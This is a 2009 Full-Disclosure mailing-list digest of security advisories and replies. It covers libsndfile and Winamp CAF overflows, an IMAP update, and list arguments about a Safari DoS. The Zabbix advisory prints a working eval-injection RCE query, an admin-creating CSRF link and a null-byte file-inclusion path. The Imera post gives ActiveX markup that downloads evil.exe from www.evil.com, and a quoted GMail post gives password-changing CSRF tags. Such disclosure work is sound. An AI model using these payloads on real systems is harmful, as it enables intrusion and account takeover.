with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.



From remove-vuln at secunia.com  Tue Mar  3 12:06:45 2009
From: remove-vuln at secunia.com (Secunia Research)
Date: Tue, 3 Mar 2009 13:06:45 +0100
Subject: [Full-disclosure] Secunia Research: libsndfile CAF Processing
	Integer Overflow Vulnerability
Message-ID: <200903031206.n23C6jVR026020@ca.secunia.com>

====================================================================== 

                     Secunia Research 03/03/2009

     - libsndfile CAF Processing Integer Overflow Vulnerability -

====================================================================== 
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
References...........................................................8
About Secunia........................................................9
Verification........................................................10

====================================================================== 
1) Affected Software 

* libsndfile version 1.0.18

NOTE: Prior versions may also be affected.

====================================================================== 
2) Severity 

Rating: Highly critical 
Impact: System access
Where:  Remote

====================================================================== 
3) Vendor's Description of Software 

"Libsndfile is a C library for reading and writing files containing 
sampled sound (such as MS Windows WAV and the Apple/SGI AIFF format) 
through one standard library interface."

Product Link:
http://www.mega-nerd.com/libsndfile/

====================================================================== 
4) Description of Vulnerability

Secunia Research has discovered a vulnerability in libsndfile, which 
can be exploited by malicious people to compromise an application 
using the library.

The vulnerability is caused due to an integer overflow error in the 
processing of CAF description chunks. This can be exploited to cause 
a heap-based buffer overflow by tricking the user into processing a
specially crafted CAF audio file.

Successful exploitation may allow execution of arbitrary code.

====================================================================== 
5) Solution 

Update to version 1.0.19.

====================================================================== 
6) Time Table 

20/02/2009 - Vendor notified.
21/02/2009 - Vendor response.
03/03/2009 - Public disclosure.

====================================================================== 
7) Credits 

Discovered by Alin Rad Pop, Secunia Research.

====================================================================== 
8) References

The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2009-0186 for the vulnerability.

====================================================================== 
9) About Secunia

Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:

http://secunia.com/advisories/business_solutions/

Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private 
individuals, who are interested in or concerned about IT-security.

http://secunia.com/advisories/

Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the 
security and reliability of software in general:

http://secunia.com/secunia_research/

Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:

http://secunia.com/corporate/jobs/

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/advisories/mailing_lists/

====================================================================== 
10) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2009-7/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

======================================================================



From remove-vuln at secunia.com  Tue Mar  3 12:08:45 2009
From: remove-vuln at secunia.com (Secunia Research)
Date: Tue, 3 Mar 2009 13:08:45 +0100
Subject: [Full-disclosure] Secunia Research: Winamp CAF Processing Integer
	Overflow Vulnerability
Message-ID: <200903031208.n23C8jPB026101@ca.secunia.com>

====================================================================== 

                     Secunia Research 03/03/2009

       - Winamp CAF Processing Integer Overflow Vulnerability -

====================================================================== 
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
References...........................................................8
About Secunia........................................................9
Verification........................................................10

====================================================================== 
1) Affected Software 

* Winamp 5.541 and 5.55

NOTE: Other versions may also be affected.

====================================================================== 
2) Severity 

Rating: Highly critical 
Impact: System access
Where:  Remote

====================================================================== 
3) Vendor's Description of Software 

"... Winamp, The #1 Free Media Player. Play your MP3, AAC, MPEG, AVI 
files, and more. Get free MP3 songs, videos, skins and plug-ins. 
Synch your iPod or Creative Zen, and get mobile music with Winamp 
Remote."

Product Link:
http://www.winamp.com/

====================================================================== 
4) Description of Vulnerability

Secunia Research has discovered a vulnerability in Winamp, which can 
be exploited by malicious people to compromise a user's system.

The vulnerability is caused due to an integer overflow error in the 
libsndfile.dll library while processing CAF description chunks. This 
can be exploited to cause a heap-based buffer overflow by tricking a
user into processing a specially crafted CAF audio file.

Successful exploitation may allow execution of arbitrary code.

====================================================================== 
5) Solution 

Do not open untrusted CAF files in Winamp.

====================================================================== 
6) Time Table 

20/02/2009 - Vendor notified.
21/02/2009 - Vendor response.
03/03/2009 - libsndfile upstream releases fixed version and details.
03/03/2009 - Public disclosure.

====================================================================== 
7) Credits 

Discovered by Alin Rad Pop, Secunia Research.

====================================================================== 
8) References

The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2009-0186 for the vulnerability.

====================================================================== 
9) About Secunia

Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:

http://secunia.com/advisories/business_solutions/

Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private 
individuals, who are interested in or concerned about IT-security.

http://secunia.com/advisories/

Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the 
security and reliability of software in general:

http://secunia.com/secunia_research/

Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:

http://secunia.com/corporate/jobs/

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/advisories/mailing_lists/

====================================================================== 
10) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2009-8/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

======================================================================



From ascii at katamail.com  Tue Mar  3 15:30:26 2009
From: ascii at katamail.com (ascii)
Date: Tue, 03 Mar 2009 15:30:26 +0000
Subject: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities
Message-ID: <49AD4D12.7000601@katamail.com>

Zabbix 1.6.2 Frontend Multiple Vulnerabilities

 Name              Multiple Vulnerabilities in Zabbix Frontend
 Systems Affected  Zabbix 1.6.2 and possibly earlier versions
 Severity          High
 Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
 Vendor            http://www.zabbix.com/
 Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
 Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
                   Francesco "ascii" Ongaro (ascii AT ush DOT it)
                   Giovanni "evilaliv3" Pellerano (evilaliv3 AT
                   digitalbullets DOT org)
 Date              20090303

I. BACKGROUND

>From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
and visualization features today which are missing in other monitoring
systems, even some of the best commercial ones".

II. DESCRIPTION

Multiple Vulnerabilities exist in Zabbix front end software.

III. ANALYSIS

Summary:

 A) Remote Code Execution
 B) Cross Site Request Forgery
 C) Local File Inclusion

A) Remote Code Execution

A Remote Code Execution issue has been found in Zabbix version
1.6.2 and no authentication is required in order to exploit this
vulnerability. The Magic Quotes must be off in order to exploit
this vulnerability, however this feature will not be supported
starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).

Zabbix has a security feature that parses all incoming input for
possible bad chars with the help of the function check_fields() defined
in "include/validate.inc.php". The issue we have discovered is contained
in this input validation code.

Pages define an array of every used variable that derives from external
(GPC) input. An example of the mechanism is the following:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

$fields=array(
 "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
 // actions
 "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
 "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
 "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
                PAGE_SIZE."==0)", NULL),
 "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
 "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
 // filter
 "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
 "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
 "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
 'filter_timesince'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
 'filter_timetill'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
 //ajax
 'favobj'=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
 'favid'=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
                'isset({favobj})'),
 'state'=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
                'isset({favobj}) && ("filter"=={favobj})'),
);

check_fields($fields);

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

After the definition of the "$fields" array all the variables are
checked by the function check_fields().

The main step of the check_fields() function is:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

foreach($fields as $field => $checks){
 $err |= check_field($fields, $field, $checks);
}

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Following the check_field() function we have identified that the
function's main steps are the creation of some local variables using
list() and a consequent call of calc_exp() (which resides in the same
file).

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

list($type, $opt, $flags, $validation, $exception) = $checks;
[...]
$except=calc_exp($fields,$field,$exception);

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

calc_exp()'s code is:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

function calc_exp($fields,$field,$expression){
 if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
  return FALSE;

 if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
  $expression = str_replace("{}",'$_REQUEST["'.$field.'"]',$expression);

 if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
 foreach($_REQUEST[$field] as $key => $val){
   $expression2 =
str_replace("{}",'$_REQUEST["'.$field.'"]["'.$key.'"]',$expression);
   if(calc_exp2($fields,$field,$expression2)==FALSE)
    return FALSE;
  }
  return TRUE;
 }
 return calc_exp2($fields,$field,$expression);
}

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

As you can see we should be able to call calc_exp2(), our vulnerable
function, avoiding to fall into a breach that exits (returns) from the
function.

Investigating calc_exp2()'s source:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

function calc_exp2($fields,$field,$expression){
 foreach($fields as $f => $checks){
  $expression = str_replace('{'.$f.'}','$_REQUEST["'.$f.'"]',$expression);
 }

 $expression = trim($expression,"& ");
 $exec = "return (".$expression.") ? 1 : 0;";

 $ret = eval($exec);

 return $ret;
}

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

We have reached a function that contains an eval() call of the "$exec"
variable that contains user controlled data.

To better understand how the executed string is composed we must find
a disposable page. Thanks to "locales.php" we can reach this function
without any authentication.

Now if we try to execute the query:

/locales.php?download&langTo&extlang[AAA]=1

The value of $exec is the following:

return (($_REQUEST["extlang"]["AAA"]!='')) ? 1 : 0;

Some constraints exist: the injected payload must comply with the
calc_exp()'s requirements in order to call calc_exp2() and the created
string must be syntactically correct. What we can do is to play with
the key values of the array. An intermediate test was:

/locales.php?download&langTo&extlang[AAA"];phpinfo();]=1

But it generates a syntax error. After some thinking the problem was
solved in this way:

/locales.php?download&langTo&extlang[".phpinfo()."]=1

Now the syntax is correct and the payload gets executed.

B) Cross Site Request Forgery

A CSRF vulnerability exists in file "users.php". If the admin visits the
following link:

/users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
lang=lang&theme=theme&autologout=0&url=url&refresh=0

A user with admin permissions is created.

C) Local File Inclusion

If the user is authenticated, a Local File Inclusion vulnerability
exists in file "locales.php".

The following URL exploits this vulnerability:

/locales.php?action=1&next=1&srclang=../validate&extlang=en

A string in the form of ".inc.php" is automatically appended to the
local file path. Despite that it's possible to include every target
file truncating the filename using %00 (nullbyte):

/locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22

Nullbyte injection normally requires magic quotes off.

The vulnerable code is the following:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

 'srclang'=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, 'isset({next})'),
[...]
else if(isset($_REQUEST['next'])){
[...]
 $fileFrom = 'include/locales/'.$_REQUEST['srclang'].".inc.php";
  if(file_exists($fileFrom)){
   include($fileFrom);

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

IV. DETECTION

Zabbix 1.6.2 and possibly earlier versions are vulnerable.

V. WORKAROUND

Update zabbix from svn the server (svn://svn.zabbix.com) or download
version 1.6.3 when aviable.

VI. VENDOR RESPONSE

Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20081215 Bug discovered
20090116 Initial vendor contact
20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
20090130 Second email (When this is going to be fixed?)
20090131 Vendor Response (Everything has been fixed a week ago and is
         publicy aviable in the SVN, Zabbix 1.6.3 will be released
         within 10-15 days)
20090220 Third email (20 days elasped and no response, we will release
         on 23 Feb)
20090220 Vendor Response (Postpone of 5-10 days required)
20090220 Third email (We will wait 5-10 days, 2 March is the deadline
         if no contact)
20090303 Forced Advisory Release

IX. CREDIT

Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
"evilaliv3" Pellerano are credited with the discovery of this
vulnerability.

Antonio "s4tan" Parata
web site: http://www.ictsc.it/
mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it

Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it

Giovanni "evilaliv3" Pellerano
web site: http://www.evilaliv3.org
mail: giovanni.pellerano AT evilaliv3 DOT org

X. LEGAL NOTICES

Copyright (c) 2009 Francesco "ascii" Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.



From elazar at hushmail.com  Tue Mar  3 15:12:06 2009
From: elazar at hushmail.com (Elazar Broad)
Date: Tue, 03 Mar 2009 10:12:06 -0500
Subject: [Full-disclosure] Imera ImeraIEPlugin ActiveX Control Remote Code
	Execution
Message-ID: <20090303151206.657A6158045@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Who:
 Imera(http://www.imera.com)
 Imera TeamLinks Client(http://teamlinks.imera.com/install.html)

What:
 ImeraIEPlugin.dll
 Version 1.0.2.54
 Dated 12/02/2008
 {75CC8584-86D4-4A50-B976-AA72618322C6}
 http://teamlinks.imera.com/ImeraIEPlugin.cab

How:
 This control is used to install the Imera TeamLinks Client
package. The control fails to validate the content that it is to
download and install is indeed the Imera TeamLinks Client software.

Exploiting this issue is quite simple, like so:

<object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
id="obj">
	<param name="DownloadProtocol" value="http" />
	<param name="DownloadHost" value="www.evil.com" />
	<param name="DownloadPort" value="80" />
	<param name="DownloadURI" value="evil.exe" />
</object>

Fix:
 The vendor has been notified.

Workaround:
 Set the killbit for the affected control, see
http://support.microsoft.com/kb/240797.
Use the Java installer for TeamLinks Client or install the software
manually from: http://teamlinks.imera.com/download.html

Elazar
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQECAAYFAkmtR6YACgkQi04xwClgpZgbTgP/T3l+Gj+pIt19H80tiHrlbpbB7+qh
/03/vQYTEL75n0XCmfGjbcurLhWlo+m90eDQwlgigq3CoQyqleKNI8kSDYjr2pw289Pm
qC21ASe/P3zIM+gt81+iqDtKMA/MGvOE20nrHVEWlatAlCgmSjt3MJhqEJ/GdzUiR22s
BDrpVM8=
=R0h3
-----END PGP SIGNATURE-----

--
Thinking of a life with religion?  Click here to find a religious school near you.
 http://tagline.hushmail.com/fc/BLSrjkqkOt2ULsSphoguIMPooi9T2eJVBhBNEJeyTxDH8nsQ8r6djRRztwU/



From security at mandriva.com  Tue Mar  3 15:49:00 2009
From: security at mandriva.com (security at mandriva.com)
Date: Tue, 03 Mar 2009 16:49:00 +0100
Subject: [Full-disclosure] [ MDVSA-2009:064 ] imap
Message-ID: <E1LeWrc-00045l-NR@titan.mandriva.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

 Mandriva Linux Security Advisory                         MDVSA-2009:064
 http://www.mandriva.com/security/
 _______________________________________________________________________

 Package : imap
 Date    : March 2, 2009
 Affected: Corporate 3.0
 _______________________________________________________________________

 Problem Description:

 Security vulnerabilities has been identified and fixed in University
 of Washington IMAP Toolkit which could allow local users to gain
 privileges by specifying incorrect folder name (CVE-2008-5005).
 
 The updated packages have been patched to prevent this.
 _______________________________________________________________________

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5005
 _______________________________________________________________________

 Updated Packages:

 Corporate 3.0:
 35d1595673a4b729cd9c3c4d31d51417  corporate/3.0/i586/imap-2002d-8.4.C30mdk.i586.rpm
 9c7b39600c42ee3f77e7cb2e2646eadd  corporate/3.0/i586/imap-devel-2002d-8.4.C30mdk.i586.rpm
 3687a88d8791bcf26e54e4d3dee5e0b1  corporate/3.0/i586/imap-utils-2002d-8.4.C30mdk.i586.rpm 
 cd3862f4498e8302be7290f20d1bcce8  corporate/3.0/SRPMS/imap-2002d-8.4.C30mdk.src.rpm

 Corporate 3.0/X86_64:
 8a616b9dff2145f6e4723a5078e6be1a  corporate/3.0/x86_64/imap-2002d-8.4.C30mdk.x86_64.rpm
 eeb9a45bc92829002597be3e9161b817  corporate/3.0/x86_64/imap-devel-2002d-8.4.C30mdk.x86_64.rpm
 021365d905793a741f61f6b6268a9180  corporate/3.0/x86_64/imap-utils-2002d-8.4.C30mdk.x86_64.rpm 
 cd3862f4498e8302be7290f20d1bcce8  corporate/3.0/SRPMS/imap-2002d-8.4.C30mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 _______________________________________________________________________

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrSbqmqjQ0CJFipgRAl4XAKCeE+i92gy99kpsSsMYp5wvyDBw3QCeIQE2
7PEnhLayn952fpLnPdC4iA8=
=XUWu
-----END PGP SIGNATURE-----



From jstarks440 at gmail.com  Tue Mar  3 16:11:35 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Tue, 3 Mar 2009 11:11:35 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <20090303111825.D3B8D28042@smtp.hushmail.com>
References: <20090303111825.D3B8D28042@smtp.hushmail.com>
Message-ID: <e1b25fd0903030811p1616ed64j31dde80a399fb824@mail.gmail.com>

Mr. Mustache, it is obvious that I have more talent than a box of
chocolates, and that you envy the sadistic nature of your fellow trolls on
this list. Point blank.

On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Dear Valdis,
>
> I have been able to reproduce a similar situation using Firefox
> under MacOSX, using different websites and a significantly larger
> number of tabs.  Do you think these issues might be related or are
> they operating system specific?  What model of CPU were you testing
> this issue under?
>
> Thanks,
> - -bm
>
> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
> <security.mustache at gmail.com> wrote:
> >I would like to point out that I have been able to create a "hung"
> >state in the Firefox browser by opening 30 simultaneous tabs
> >pointed
> >at http://www.welcometointernet.org/lawnmower/ and adding a 31st
> >tab
> >viewing http://www.hotrussianbrides.com.
> >
> >Also, I am not amused.
> >
> >
> >Your humble servant,
> >Ze Mustache von Kletnieks
> >
> >On Mon, Mar 2, 2009 at 10:29 PM,  <bobby.mugabe at hushmail.com>
> >wrote:
> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> Hash: SHA1
> >>
> >> Dear Nick,
> >>
> >> You and Thierry Loller are wrong.
> >>
> >> - -bm
> >>
> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald <nick at virus-
> >> l.demon.co.uk> wrote:
> >>>Chris Evans to Thierry Zoller:
> >>>
> >>>> > Example
> >>>> > If a chrome tab can be crashed arbritarely (remotely) it is
> >a
> >>>DoS attack
> >>>> > but with ridiculy low impact to the end-user as it only
> >>>crashes the tab
> >>>> > it was subjected to, and not the whole browser or operation
> >>>system.
> >>>> > But the fact remains that this was the impact of a DoS
> >>>condition,
> >>>> > the tab crashes arbritarily.
> >>>>
> >>>> Eh? If you visit www.evil.com and your tab crashes, that's no
> >>>> different from www.evil.com closing its own tab with
> >Javascript.
> >>>
> >>>But what if www.evil.com has run an injection attack of some
> >kind
> >>>(SQL,
> >>>XSS in blog comments, etc, etc) against www.stupid.com?
> >>>
> >>>Visitors to stupid.com then suffer a DoS...
> >>>
> >>>Yes, stupid.com should run their site better, fix their myriad
> >XSS
> >>>holes,
> >>>etc, etc.
> >>>
> >>>But this is the Internet, so this "software flaw" can be
> >leveraged
> >>>as
> >>>security vulnerability.
> >>>
> >>>I'm with Thierry on this...
> >>>
> >>>
> >>>Regards,
> >>>
> >>>Nick FitzGerald
> >>>
> >>>
> >>>_______________________________________________
> >>>Full-Disclosure - We believe in it.
> >>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >>>Hosted and sponsored by Secunia - http://secunia.com/
> >> -----BEGIN PGP SIGNATURE-----
> >> Charset: UTF8
> >> Version: Hush 3.0
> >> Note: This signature can be verified at
> >https://www.hushtools.com/verify
> >>
> >>
> >wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+
> >0
> >>
> >b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXF
> >m
> >>
> >7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAh
> >p
> >> UpXIZ1s=
> >> =zgqd
> >> -----END PGP SIGNATURE-----
> >>
> >> --
> >> Become a medical transcriptionist at home, at your own pace.
> >>
> >http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7c
> >DXj4iASDyccuLtQA2i9f1le/
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> Hosted and sponsored by Secunia - http://secunia.com/
> >>
> >
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >Hosted and sponsored by Secunia - http://secunia.com/
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVrkn
> TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlNA5
> wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3vju
> P7xAvvQ=
> =avqi
> -----END PGP SIGNATURE-----
>
> --
> Click to find great rates on health insurance, save big, shop here.
>
> http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2GWai39WLJo4QlOxYCnjxaqn9u/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/b47180f5/attachment.html 

From Valdis.Kletnieks at vt.edu  Tue Mar  3 16:30:41 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 03 Mar 2009 11:30:41 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: Your message of "Mon, 02 Mar 2009 22:49:41 PST."
	<72daeffd0903022249w76833ea3gf93fd80df9df3fcc@mail.gmail.com>
References: <1695017750.20090227143622@Zoller.lu>
	<72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
	<49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
	<72daeffd0903022249w76833ea3gf93fd80df9df3fcc@mail.gmail.com>
Message-ID: <14122.1236097841@turing-police.cc.vt.edu>

On Mon, 02 Mar 2009 22:49:41 PST, Chris Evans said:
> So, you have injected HTML into stupid.com, and you choose to inflict
> the fury of a closing tab upon hapless visitors?

If your intent is to cause stupid.com to lose traffic while flying under
the wire, that's a good place to start.  Trashing the hapless visitor's
machine may draw attention to your ruse, but if you can just make it close
up, people will it it 2-3 times, say to themselves "Ah fsck, another lame
broken website" and move on.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/9e103754/attachment.bin 

From jstarks440 at gmail.com  Tue Mar  3 16:14:25 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Tue, 3 Mar 2009 11:14:25 -0500
Subject: [Full-disclosure] [ISecAuditors Security Advisories] CSRF
	vulnerability in GMail service
In-Reply-To: <49AD0CB6.1060101@isecauditors.com>
References: <49AD0CB6.1060101@isecauditors.com>
Message-ID: <e1b25fd0903030814g27b478ect94145dcba5c116a3@mail.gmail.com>

That is one hell of a timeline.

On Tue, Mar 3, 2009 at 5:55 AM, ISecAuditors Security Advisories <
advisories at isecauditors.com> wrote:

> =============================================
> INTERNET SECURITY AUDITORS ALERT 2007-003
> - Original release date: August 1st, 2007
> - Last revised: January 11th, 2009
> - Discovered by: Vicente Aguilera Diaz
> - Severity: 3/5
> =============================================
>
> I. VULNERABILITY
> -------------------------
> CSRF vulnerability in GMail service
>
> II. BACKGROUND
> -------------------------
> Gmail is Google's free webmail service. It comes with built-in Google
> search technology and over 2,600 megabytes of storage (and growing
> every day). You can keep all your important messages, files and
> pictures forever, use search to quickly and easily find anything
> you're looking for, and make sense of it all with a new way of viewing
> messages as part of conversations.
>
> III. DESCRIPTION
> -------------------------
> Cross-Site Request Forgery, also known as one click attack or session
> riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
> malicious exploit of websites. Although this type of attack has
> similarities to cross-site scripting (XSS), cross-site scripting
> requires the attacker to inject unauthorized code into a website,
> while cross-site request forgery merely transmits unauthorized
> commands from a user the website trusts.
>
> GMail is vulnerable to CSRF attacks in the "Change Password"
> functionality. The only token for authenticate the user is a session
> cookie, and this cookie is sent automatically by the browser in every
> request.
>
> An attacker can create a page that includes requests to the "Change
> password" functionality of GMail and modify the passwords of the users
> who, being authenticated, visit the page of the attacker.
>
> The attack is facilitated since the "Change Password" request can be
> realized across the HTTP GET method instead of the POST method that is
> realized habitually across the "Change Password" form.
>
> IV. PROOF OF CONCEPT
> -------------------------
> 1. An attacker create a web page "csrf-attack.html" that realize many
> HTTP GET requests to the "Change Password" functionality.
>
> For example, a password cracking of 3 attempts (see "OldPasswd"
> parameter):
> ...
> <img
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <img
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <img
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> ...
>
> or with hidden frames:
> ...
> <iframe
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <iframe
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> <iframe
> src="
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> ">
> ...
>
